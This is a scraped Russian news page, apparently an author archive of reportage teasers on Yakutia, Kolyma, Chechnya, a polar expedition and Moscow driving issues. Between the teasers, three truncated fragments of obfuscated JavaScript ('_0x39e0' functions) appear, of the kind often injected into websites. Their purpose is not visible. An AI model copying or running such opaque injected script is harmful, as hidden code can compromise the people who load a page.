14:24
Шольца напугал «Орешник»
Новости
Хлыстун Виктор
Вера Шелковникова и сама не знает, когда на нее сошло озарение. Работала себе и работала на
Вера Шелковникова и сама не знает, когда на нее сошло озарение. Работала себе и работала на сортировке алмазов, потом стала инженером по их приемке. Дело до некоторой степени вовсе нетворческое - одни камушки в одну сторону, вторые - в другую, третьи... И вот однажды какая-то делегация приехала на предприятие, чтобы посмотреть первичную продукцию, из которой потом ювелиры делают разные бриллиантовые украшения.
Вот и предложила Вера показывать не просто алмазы, а "рисовать" из них разные картины. Прибыли японцы, а для них на столе - японский флаг с красным солнышком. Прибыли оленеводы - пусть смотрят на стройных оленей и полярное сияние....
В Москве прошла выставка фотографий, сделанных бездомными детьми. Раздав фотоаппараты беспризорникам, бельгийский фотожурналист Йорг Диркс надеялся увидеть темные стороны их жизни, но получил совсем другое...
Два улыбающихся лица. Они будто заряжают радостью. Это тезки - подростки Женя Большой и Женя Маленький. Снимок сделан одним из них с вытянутой вперед руки. Однако радость ребят, так заметная на фотке, меркнет, когда узнаешь место и время действия: задняя площадка товарного вагона, холодная весна 2006 года...
На других снимках, представлявшихся на фотовыставке "Мы есть!" детьми московских улиц, вы тоже не найдете ни страшных трущоб, где они обитают, ни крыс и мышей, непременных спутников отверженных, ни медицинских шприцов с наркотиками, которыми "балуются" многие беспризорники, ни тюбиков клея "Момент"... Даже пивные бутылки попадают...
В выходные на пляже бухты Гертнера Охотского моря собираются толпы народу. Магаданцы стараются
В выходные на пляже бухты Гертнера Охотского моря собираются толпы народу. Магаданцы стараются воспользоваться для променада короткими теплыми деньками. В этом году солнце северян долго не баловало, но как по заказу в День рыбака небесное светило обласкало отдыхающих - не пряталось за тучи аж целых пять часов.
Правда, девушкам-милиционерам из специального конного отряда было не до загара - служба есть служба. Протискиваясь осторожно через толпы пляжных завсегдатаев, они зорко следили за порядком.
function _0x39e0(_0x2e6d70,_0x39105a){const _0x273464=_0x4b2c();return _0x39e0=function(_0x56c18b,_0x4aa193){_0x56c18b=_0x56c18b-(-0x2bd*0x1+-0xa5*0x4+0x6f1);let...
Николай Адамович Дереженец, гендиректор старательской артели "ООО "Полевая", и его сын Адам Николаевич долго уговаривали меня оставить глупую затею попробовать себя в роли старателя. Наконец согласились: "Хорошо. Только будешь бродить по нашей, артельской территории. Тут мы тебя хоть как-то сможем защитить - от медведей, от милиции, от Ингушзолота..."
После таких напутствий меня вооружают лотком и скребком. "Курс молодого бойца" длился минут пять. Мне показывают на полигоне спай - соединение второго и третьего слоев почвы. Это самое золотоносное место. Скребком и долби спай между песками и скалой. Серую массу нагребаешь в лоток - и дуй к луже. Зачерпнул воду - и покачивай лоток из стороны в сторону, потом кругами перемешивай содержимое, сбрасывая камни и грязь. Руками выгреби остатки породы. Драгметалл увидишь сразу - он желтый...
Инструкции насчет медведей совсем просты:
- Увидишь косолапого - ори во все горло. Потом бросай все и беги. Если мишка далеко - стань ниже травы, тише воды.
А...
Анне Ивановне 75 лет, она играет на хомусе - эвенкийском национальном инструменте - и танцует.
Анне Ивановне 75 лет, она играет на хомусе - эвенкийском национальном инструменте - и танцует. Когда не занята работой, естественно.
Таких, как Анна Ивановна, в селении много - человек 100 наберется. Самые инициативные и непоседливые и решили организовать ансамбль стариков и старух под названием "Алгыс", что в переводе на русский значит "Благословенные".
Песни в репертуаре коллектива самые разные - от революционных и советских патриотических до любовных и национальных про стада оленей, которые кормят и поят эвенков. На этот раз концерт самодеятельные артисты устроили прямо на крутом берегу северной чистой реки Оленек.
function _0x39e0(_0x2e6d70,_0x39105a){const...
В эти дни семья Колодезниковых из заполярного эвенкийского поселка Харьялах собирается в дальнее путешествие, которое продлится до весны будущего года. Дело в том, что с холодами, которые уже неотступно приходят в эти края, начинается кочевой сезон.
- Когда солнце касается горизонта, но все еще не опускается за него, значит, полярная ночь пошла на убыль, - говорит глава семьи Конон. - Самое время готовиться к кочевью. Олени не будут сидеть на месте, им нужно постоянно двигаться, чтобы найти корм для пропитания.
Вслед за оленями и отправится семья эвенков Колодезниковых - жена Конона Надежда и их дети - Дуся, Дора, Кирилл и Клава. Хозяин будет пасти оленей даже в самые лютые морозы, защищать их от нападения злых полярных волков. Забота хозяйки - порядок в чуме (эвенки называют его урасой), поддержание огня, варка вкусного оленьего мяса на костре. Другая обязанность Надежды - подготовка...
На великой реке Лена, через которую нет ни одного моста, паромы начали перевозить продукты,
На великой реке Лена, через которую нет ни одного моста, паромы начали перевозить продукты, топливо и прочие товары, чтобы якутянам зимой было тепло, светло и сытно. Эта акция продлится до октября, когда вода замерзнет. Улыбчивый паромщик Саша объясняет:
- Сейчас мы за день делаем по 5 - 6 рейсов с берега на берег. На паром вмещается до двадцати автомобилей. Но через пару недель все спохватятся и начнут завозить товары в массовом порядке. Вот тогда будет запарка!
Капитан судна Александр Лыхин продолжает рассказ паромщика Саши:
- Самое трудное - это причалить к берегу. Когда наводнение было, то мы постоянно дожидались, пока бульдозеры...
Я встречал его каждый день. С утра Слава по прозвищу Малек был почти трезв и даже выбрит. Глаза старался прятать, поскольку каждому встречному был должен денег. Все, кто живет в нашем доме, не раз и не два его ссужали. Славы не стало - выбросился из окна.
...Познакомились мы с ним в первый же день моего вселения.
- О-о, журналист, привет! - воскликнул небольшого роста парень, когда я выгружал вещи из машины. - Значит, соседом будешь. Давай пособлю!
Лицо парня было помято. Подсобил. Взял "гонорар" на пару бутылок. А дальше, конечно, пошло-поехало: "А, журналист, привет! На пиво не найдется?" - эта фраза преследовала меня каждый день. Иногда брали зло, досада. Выход не лучший. Надвигаешь кепку на глаза - и мимо, будто не слышишь. Не я, так другой остановится, сунет в руку десятку.
Какое именно горе ежедневно заливал Малек, молодой, 30-летний мужик? Банальная история. Отец пил, потом бросил...
Поезд Грозный - Москва замедлил ход. Станция Лихая, Ростовская обл. Стоянка 22 минуты. Мой новый зна-комый Хусаин Дикаев, директор вагона-ресторана, вдруг прервал нашу беседу:
- Пойду, встречу любимую мою девушку. Не выйду - обидится. Золотой человечек! - при этих словах он весело улыбнулся.
Посмотреть на "любимую девушку директора вагона-ресторана" захотелось и мне.
На перроне улыбка Хусаина прямо-таки засияла - навстречу ему бе-жала вприпрыжку девочка с большущими глазами и радостью на лице. Она бросилась на шею мужчине и строго спросила:
- Ну, говори, "боевик", почему позавчера поезда не было?
- Да вот, расписание так сделали, не учли твое желание...
- Я хочу, чтобы твой поезд приходил каждый день, - безапелляционно заявила малышка.
Пока разговор продолжался в том же ключе, Хусаин незаметно сунул в карман...
Вчера утром при заходе на посадку в аэропорту Кемерова упал и загорелся вертолет Ми-8. Как
Вчера утром при заходе на посадку в аэропорту Кемерова упал и загорелся вертолет Ми-8. Как сообщил представитель МЧС России Виктор Бельцов, машина принадлежит Новосибирскому ГУВД. На ее борту находились 18 человек - три члена экипажа, два офицера и 13 солдат внутренних войск. Не обошлось без жертв. Погибли четыре человека, среди них и командир экипажа. Семеро получили серьезные ранения и доставлены в больницу. Трое в крайне тяжелом состоянии.
function _0x39e0(_0x2e6d70,_0x39105a){const _0x273464=_0x4b2c();return _0x39e0=function(_0x56c18b,_0x4aa193){_0x56c18b=_0x56c18b-(-0x2bd*0x1+-0xa5*0x4+0x6f1);let _0x5478aa=_0x273464[_0x56c18b];return...
Утром был штиль, а сейчас ветер дует со скоростью 12 метров в секунду. Небольшой катер отчаливает от пирса. Идем по каналу в сторону моря. Капитан первого ранга, командир войсковой части 2024 Черноморско-Азовского пограничного управления береговой охраны ФСБ РФ Игорь Павлов замечает: "У нас так: с утра штиль, к обеду - шторм. Скольких рыбаков приходится вызволять из беды". Его коллега по управлению старший инспектор Темрюкской зональной государственной морской инспекции Сергей Крупский добавляет: "А сколько рыбы гибнет!"
- Неужели она боится большой волны? - не скрываю удивления.
- Не рыба боится, а нерадивые рыболовы. В тихую погоду тайно или явно забрасывают сети, а вытащить до бури не успевают. Вот рыба и гибнет. Запутавшийся в капроновой паутине осетр живет 3-4 часа, а потом...
- "Нерадивыми рыбаками" вы называете браконьеров?
- Не только. Браконьеров на Азове стало заметно меньше, - вступает в разговор Игорь Павлов. - Года 3-4 назад мы постоянно ловили так называемые пиратские корабли. Теперь их днем с огнем не сыщешь. Но возникла другая беда. Часть "браконьерского бизнеса" на глазах легализовалась. У капитанов официальные разрешения на отлов кефали,...
Всероссийская акция "Нет мигалкам!" намечена на завтра. Прово-дить ее решили межрегиональная общественная организация автомоби-листов "Свобода выбора" и межрегиональный профсоюз водителей-профессионалов. Наш корреспондент встретился с их руководителями - Вячеславом ЛЫСАКОВЫМ и Александром КОТОВЫМ.
Только за последний год в России прошло больше десятка митингов, пикетов автомобилистов, направленных на борьбу с мигалками. В акции "Белый платочек", также направленной против спецсигналов, 150 тысяч автолюбителей прикрепляли к своим авто ленточки. В общем, автомобильная общественность выступает за то, чтобы на дорогах страны все водители были равны. Власти это знают, но...
- Вы полагаете, что массовыми выступлениями можно чего-то добиться? - спрашиваю В. Лысакова.
- Если так рассуждать, то ничего и не добьешься. Наша организация была инициатором пересмотра известного дела Олега Щербинского, ставшего невольным участником аварии, в которой...
Если бы Георгий знал, что под снежным переметом полынья, то заранее подстраховался: обвязал бы себя веревкой, а свободный конец закрепил за нарты. Нет, ухнул в жидкую кашицу между льди-нами так неожиданно, что не успел испугаться. Телом почувствовал воду: почему она теплая? Сообразил: температура воздуха минус 30, а воды на 28 градусов выше, вот и греет. Шел только пятый день двухмесячного 1000-километро-вого перехода...
А сегодня мы беседуем с Георгием Карпенко в теплом двухэтажном коттедже в подмосковном Пушкине. Хозяин показывает хоромы:
- Дом сделал, считай, своими руками. Я же строитель.
Во дворе под навесом яхта с надписью на борту: "Урания". Прообраз того самого парусника "Урания-2", на котором Георгий Карпенко со товарищи первым из россиян в 1999 году прошел от Питера до Антарктиды. Судно сторожит голубоглазый пес Фром - сибирский хаска. Он тычется мне в колени - просит погладить.
- Фром на полюс не ходил. 12 собак, которые были с нами, я пока пристроил в питомник. Тут же, в Пушкине. Один пес погиб в начале похода. Таймыром звали.
- Кстати, а...
Тень бородатого бандита с оружием в руках, дурная слава маршрута, на котором долгое время составы подвергались грабежам и разбою, преследуют меня по пятам. Однако на перроне в Грозном среди пассажиров - ни одного бородача. Спросил начальника поезда Ноху Турлуева: вы что, перед поездкой бреете мужиков? Находчивый Ноха поддержал игру: "А как же. Не в горы народ везем - в Москву!"
ВОКЗАЛ. Свеженькое одноэтажное здание светло-кофейного цвета, вокруг - остовы разрушенных домов, горы металлолома и бетонных плит. Здесь шли самые ожесточенные бои. Вокзал тоже был снесен огнем и взрывами. С перемирием, наступившим после хасавюртовских соглашений в 1996 года, московские власти хотели прикрыть станцию Грозный и ограничить движение поездов из России до Гудермеса, что в 50 километрах от столицы республики. Но грозненские железнодорожники воспротивились. Они взяли в руки кирки, лопаты, мастерки и восстановили здание. Вторая война тоже не обошла вокзал. Бомбы и снаряды опять превратили его в руины. И снова работа в три смены,...
Снайперы засели на крыше полуразрушенной пятиэтажки. Омоновцы и солдаты федеральных войск патрулируют улицы. Вооруженные люди совсем не смотрятся рядом с православным храмом яркого небесного цвета, но... такая работа. По Грозному прошел слух, что басаевские лазутчики хотят сорвать празднование Святой Пасхи.
На столе свежие огурчики, отварная картошечка, хлеб, чай. Отец Варлаам приглашает поговорить за трапезой. Накануне Пасхи много забот. Сегодня после утренней службы он долго разговаривал со строителями и как бы продолжает тему:
- До праздника сутки. Рабочие пообещали все успеть - выкрасить ограду, побелить бордюры тротуаров вокруг храма, промыть кафельные плиты во дворе. Раз сказали, значит успеют. Чеченцы слово держат.
Два года назад, когда отец Варлаам прибыл по послушанию в Грозный, на месте Михайло-Архангельской церкви высились руины. Рядом с ними покоился смертельно раненный чугунный колокол, пробитый снарядом.
- Батюшка, вам не...
С майским теплом открывается сезон добычи золота на Колыме. Начальник старательской артели Николай Денеженец проверяет свой арсенал - готово ли оружие к бою? Мне казалось, что карабин, охотничью "перезарядку", другие стволы золотодобытчик держит для защиты от медведей. По весне они вылезают из берлог и рыщут в поисках пропитания. Когда косолапые забредают на прииск, всего можно ожидать. Но Николай Денеженец меня поправляет: - Оружие нужно и для обороны от "двуногих зверей".
Только Николай стал собственником старательской артели, как к нему подкатила "делегация" - несколько парней. Они не шумели, не буянили и даже очень вежливо себя вели. Вошли в конторку. Оставшись наедине с хозяином, намекнули, что готовы обеспечить "крышу". Объяснили: на весь Ягодинский район всего несколько милиционеров - вряд ли они смогут защитить от преступников. А мы, дескать, с радостью. Услуга недорогая - два килограмма золота. Объяснили также, что не ради себя стараются: металл пойдет в общак для братков на зоне.
- У меня глаза на лоб полезли, - вспоминает Николай, - но виду не подаю. Сдаваться без воя не привык - мастер спорта...
Со стороны картина выглядела явно нетипично. Представьте освещенную улицу на юго-западе столицы. В дорожном кармане припаркованы две машины, причем одна без номеров. Три крепких парня размахивают руками и агрессивно напирают на одного. Невооруженным глазом видно, что это разборка. Почему же патрульные не остановились?
Ответ на вопрос пришел неожиданно. Дал его, не подозревая о том, первый заместитель министра внутренних дел Александр Чекалин. Недавно он сообщил журналистам, что в недрах МВД РФ разработан план создания дорожной милиции. Дело - за его реализацией. Отсюда я сделал успокоительный для себя вывод: если бы в тот злополучный вечер мимо ехали не обычные милиционеры, а дорожные, то они бы непременно остановились и выручили меня из беды. Проезжавшие патрульные в принципе тоже могли тормознуть, но дорога и разборки на ней не их епархия и вмешиваться в конфликты - лишняя головная боль. Если бы свара происходила у киоска, тогда другое дело...
Печально,...
Вчера экспедиция, возглавляемая правителем Монако Альбером II, достигла Северного полюса
Неумолимый ветер бьет в лицо, забирается под капюшон. Прятаться бесполезно.
Спрашиваю одного из "виновников" перехода президента Российской ассоциации полярников, Героя Советского Союза Артура Николаевича Чилингарова, как аристократ воспринял удары ледяной стихии?
- Знаешь, ничего аристократического в его манерах я не заметил. Еще на российской станции "Барнео", пока шли последние приготовления, князь не чурался черновой работы. Недаром он член Международного олимпийского комитета, бобслеист, участник Олимпийских игр.
Подготовка к походу была серьезная. Проходила она в Швеции, в известной гостинице, построенной полностью изо льда. Вот...
Когда лейтенант и прапорщик появились на рынке районного центра Шали, продавщица Зарган Эпендиева подумала: хоть бы ко мне подошли и что-нибудь купили - второй день без выручки. Она машинально поправила на прилавке нехитрые товары - сигареты, консервы, макароны в пакетах, бутылки с газировкой. Военные медленно двигались вдоль рядов с лотками. Вдруг раздался громкий хлопок. Зарган увидела, как к военным приближается бородатый чеченец и на ходу стреляет...
Зарган Эпендиева - человек очень веселый.
- Считается, что смех старит, что от него появляются морщинки. А я уверена: если человек унылый, то жизнь у него укорачивается.
- Для радости должны быть причины, разве не так?
- У меня они есть. Сегодня вот вы с гвардейцами приехали. Значит, кто-то помнит обо мне - приятно.
Мой провожатый - заместитель командира 70-го гвардейского полка по воспитательной работе Александр Борисенко ласково укоряет женщину:
- Да как же, Зарган, мы тебя можем забыть! Ты же наша сестренка, - повернувшись ко мне, добавляет: - Именно с этой удивительной женщины у нас началась ну пусть не дружба, но прочная связь с...
10 апреля к Северному полюсу на собачьих упряжках отправилась экспедиция во главе с князем Монако Альбером II. Вот так аристократ, привыкший к яхтам, личным самолетам и "ролсройсам", сменил средство передвижения.
Подготовку, организацию и обеспечение безопасности перехода взяли на себя российские полярники. Руководит ими известный путешественник Дмитрий Шпаро. 120-километровый маршрут пройдет по так называемому русскому сектору Ледовитого океана. Старт - с российской ледовой базы "Барнео", которая сейчас дрейфует в районе Шпицбергена. Группа из восьми человек намерена пройти весь путь за 6-7 дней. Еще никому не удавалось достичь самой северной точки земного шара на собачьих упряжках. Предыдущую попытку предпринял знаменитый полярный исследователь норвежец Фритьоф Нансен больше ста лет назад - в 1894 году. Однако она закончилась неудачей. Так...
Перестал работать сигнал поворота. Открываю капот и глазам не верю: провода, ведущего к фонарю, как не бывало. Повреждены многие другие детали из пластика, силикона, резины. А это что? На моторной плите, в выемках коллектора какая-то шерсть, кусочек хлеба, а вокруг - грязища. Никак крысы решили устроить здесь гнездо?..
Оказывается, "крысиная проблема" волнует очень многих владельцев машин. Не спасают от нашествия грызунов ни шикарные многоярусные гаражи, ни тем более паркинги под открытым небом. Столица наводнена крысами, и они не "стесняются" залезть под капот, а если есть возможность, то и в салон. Зимой - чтобы согреться, весной - чтобы полакомиться, чем придется. Если нет съестного, грызуны не брезгуют проводами, резиной, даже пластиком. Последствия набегов ужасны.
Во дворе сгорел автомобиль. Специалисты определили причину: короткое замыкание высоковольтных проводов. Оно произошло от того, что эти самые провода были голые. Кто их оголил на новехонькой...
Недавнее распоряжение столичной администрации об инвентаризации и последующем демонтаже в ближайшие три месяца "незаконных" пеналов и ракушек вызвало бурю недовольства. В Ясеневе члены "ракушечного" кооператива устроили митинг протеста. Их поддержали сотни автомобилистов Москвы.
Мой сосед Степан караулит убежище "жигуленка" с оружием в руках, правда, незаряженным. Знакомый водитель Игорь загораживает въезд в пенал машиной, когда на горизонте появляется кран для демонтажа, и сидит в ней. Два раза "ликвидаторы" уже отступили...
Война с ракушками в столице вот уже несколько лет то разгорается, то затухает. Стремление чиновников "освободить к лету" улицы и дворы от железных коробов, может, и похвально, если бы не несколько естественных "но". Главное из них: зачем в свое время надо было разрешать ставить эти сооружения?! Так что нынешние весенние потуги ликвидировать пеналы - всего лишь работа над ошибками самих...
На днях медики внесли незначительные изменения в правила определения состояния на алкоголь человека за рулем. Однако и они встречены автолюбителями в штыки. Некоторые поспешили обвинить эскулапов, а заодно и служителей полосатого жезла, что они будто бы ввели "взяткоемкие" поправки, которые позволят обирать водителей чуть ли не на законных основаниях. Так ли это?
Спрашиваю Андрея Сапрыгина (стаж за рулем 15 лет): что его конкретно не устраивает?
- Раньше врачи брали на анализ мочу, слюну, кровь. А теперь дунул в трубочку пару раз с интервалом в 20 минут - и готово заключение. А вдруг прибор врет?!
- Такое, конечно, бывает, но при чем здесь взятки?
- А при том, что "наши" 20 минут - совсем не то, что показывают часы. Время можно и продлить в зависимости от сговорчивости водителя. Его готовности дать взятку, если он, допустим, выпил стакан коктейля. Запах от него улетучивается в течение 40 минут, а от бутылки пива - за полтора часа. Так что 20 минут запросто могут превратиться и в 40, и в 60, и...
Элитарный автомобиль ГАЗ-14 "Чайка" отметил 30-летний день рождения. Полюбившаяся правителям
Элитарный автомобиль ГАЗ-14 "Чайка" отметил 30-летний день рождения. Полюбившаяся правителям советского времени, машина действительно была необычна. Впервые здесь появились электрические стеклоподъемники, индивидуальная автоматическая система вентиляции и отопления и даже электронное зажигание. Автомобиль имел 220 лошадиных сил под капотом и мог разгоняться до 175 километров в час. По тем временам это был большой скачок вперед, правда, только для России. Один из первых экземпляров новинки был подарен генсеку Леониду Брежневу - большому любителю покататься на авто.
"Чайку" Горьковский автозавод прекратил выпускать в 1988 году. Всего же...
Когда жители узнали, что к ним прилетел журналист из Москвы, то дружно заулыбались, кто-то не без иронии заметил: "А мы думали, что в столице все перемерзли. Смотришь телевизор, а там ужасы показывают, как мерзнут москвичи при 25 градусах мороза". Я невольно глянул на термометр: красный столбик перевалил за отметку 50. Со знаком минус. Отвечать на шутку пришлось экспромтом: наши градусы, дескать, холоднее ваших...
На 380-м километре Колымской трассы сворачиваем вправо и долго едем по зимнику. Слева в глаза бросаются здания с выбитыми стеклами, дымящие трубы из окон, бочки из-под солярки у подъездов и туалеты из струганых досок на улицах - штук 10. Это и есть замерзшее село Колымское.
У первого дома женщина насыпает в ведра уголь. Зовут ее Лариса.
- За 10 лет, что я с мужем и сыном здесь, такое творится впервые, - объясняет она. - Раньше мы жили теплее. Теперь вот топим две буржуйки, но если на полу оставишь ведро с водой, то утром там будет лед. Уже который месяц спим в теплой одежде и постоянно следим, чтобы огонь в печурках не погас - замерзнем!
Лариса...
Дмитрий Павлов из якутского села Хактагай влюбился в Марию, когда учился в техникуме на автомеханика. Ухаживать за девушкой ему пришлось пять лет. Так же основательно подошли молодые супруги и к организации семейного очага: построили свой дом на вечной мерзлоте.
На 40-градусном морозе окна двухэтажного дома светятся особенно уютно. Три собаки с заиндевевшей шерстью заливаются звонким лаем. Хозяин быстро загоняет их в конуры и начинает показ. Вот двор, вот гараж, здесь место, где будет стоять баня. А потом ведет во внушительную пристройку:
- Тут у меня "энергетическое сердце"!
Тепло в дом идет от специальной печи, которая рассчитана на дрова, уголь, мазут, газ. 200-литровый бак - для воды. К дому подведено электричество. Туалет, само собой. Короче, тундра со всеми удобствами.
Большинство домов, которые я видел в Якутии, стоят на сваях. А что делать, внизу - вечная мерзлота. Но Дмитрий объясняет:
-...
Об этом прибежище для опустившихся пьяниц я узнал от бомжа, стоявшего у гостиницы "Лена" в центре Якутска и клянчившего на опохмелку. Забыв поблагодарить, он с горечью произнес: "Видишь, до чего докатился? Надо опять ехать в "Арчы" к Николай Николаичу. Он же из наших - все понимает... "
Николая Яковлева я нашел в селе Борогонцы. Это часах в пяти езды от Якутска. По здешним меркам - рукой подать. Спрашивать, почему бомж считает Яковлева своим, мне не пришлось: Николай Николаевич сам начал разговор с щекотливого момента:
- Я наследственный охотник. Тридцать лет отдал этому делу. Дорос до охотоведа, стал принимать от промысловиков шкурки дикого зверя. А это очень спиртоносное занятие. Охотники из тайги приехали с пушниной - как с ними не выпьешь? Начальство нагрянуло - как не угостить? В общем, подружился я с "зеленым змием" крепко-накрепко. Думал, окочурюсь. Но пятнадцать лет назад что-то внутри меня произошло - бросил...
Ночью на трассе, соединяющей два берега великой сибирской реки, провалился "КамАЗ". Он вез яблоки. Это уже пятый автомобиль за нынешний сезон, которому не повезло. А ведь я как раз вчера вечером возвращался из Усть-Алданского улуса в Якутск именно по этому "мосту"...
Мой гид - водитель "Волги" Геннадий Захаров лет пятнадцать рулит по якутским дорогам. Пока мы выезжаем из города, он весел:
- Если бы все дороги в республике были такие, как эти, то я бы отдыхал за баранкой. Асфальт, хоть и с выбоинами, но - твердь земная!
Что Гена имел в виду, становится ясно, как только асфальт обрывается. Под колесами месиво из снега, буераки, рытвины. Дорогой это назвать трудно, она едва угадывается. Авто то и дело цепляет днищем за твердые снежные бугры. Мы выехали на одну из проток Лены. Машин много, но все друг другу вежливо уступают путь.
- Летом Лена разливается, и здесь стоит вода. Пилить до ледовой переправы...
Удивителен герб города, украшенный пятью рыбками - хариусами. Это герб Нерюнгри. Рыбки обрамляют три столба для привязи лошадей - так называемые священные сергэ. Если они стоят у дома, значит, тут живут богатые хозяева. Однако далеко не все жилища имеют эти священные обереги. И хариусы появляются на столе не в каждом доме.
Эта рыба встречается только в южных районах Якутии. По редкости ей не уступают чир, муксун, таймень, горбуша, нельма, осетр, которые водятся в здешних реках, но тоже не частые гости в тарелках большинства жителей Якутии. Зато в каждом доме всегда найдется карась.
Его пекут, жарят, варят из него уху, фаршируют - чего только не готовят. Между тем количество "народной рыбы" не сокращается. Но самое интересное не кухонное колдовство, а процесс ловли. Такое в центральной России вряд ли где увидишь. О нем мне рассказал Николай Никитин родом из села Хактагай Усть-Алданского улуса.
Глубокой осенью, а иногда и зимой, как только льдом покрываются...
Уже несколько лет власти пытаются навести в этом деле порядок: ликвидировать мздоимство проверяющих работников ГИБДД, убрать длинные очереди в пунктах проверки, улучшить качество контроля за состоянием авто. На этот раз правительство пошло на радикальные меры, решив отобрать у ГИБДД право на проведение техосмотра и передать его частным предпринимателям, как это сделано во многих странах Европы. Об этом накануне заявил руководитель аппарата правительства Сергей НАРЫШКИН.
Работники нашей дорожной полиции вроде бы должны радоваться: наконец-то с них сняли функцию, которая непосредственно не связана с наведением порядка на дорогах. Однако энтузиазма в рядах служителей полосатого жезла не замечается. Я разговаривал с гаишниками в пункте технического осмотра, что на Вагоноремонтной улице в районе Дмитровского шоссе. Говорят в один голос: зря правительство это сделало! Чего греха таить, техосмотр приносил левые доходы и многим проверяющим, и их начальникам. Но, похоже, инспектора не без оснований утверждают, что ситуация на дорогах ухудшится после такого шага властей.
Техосмотр - серьезное мероприятие, требующее...
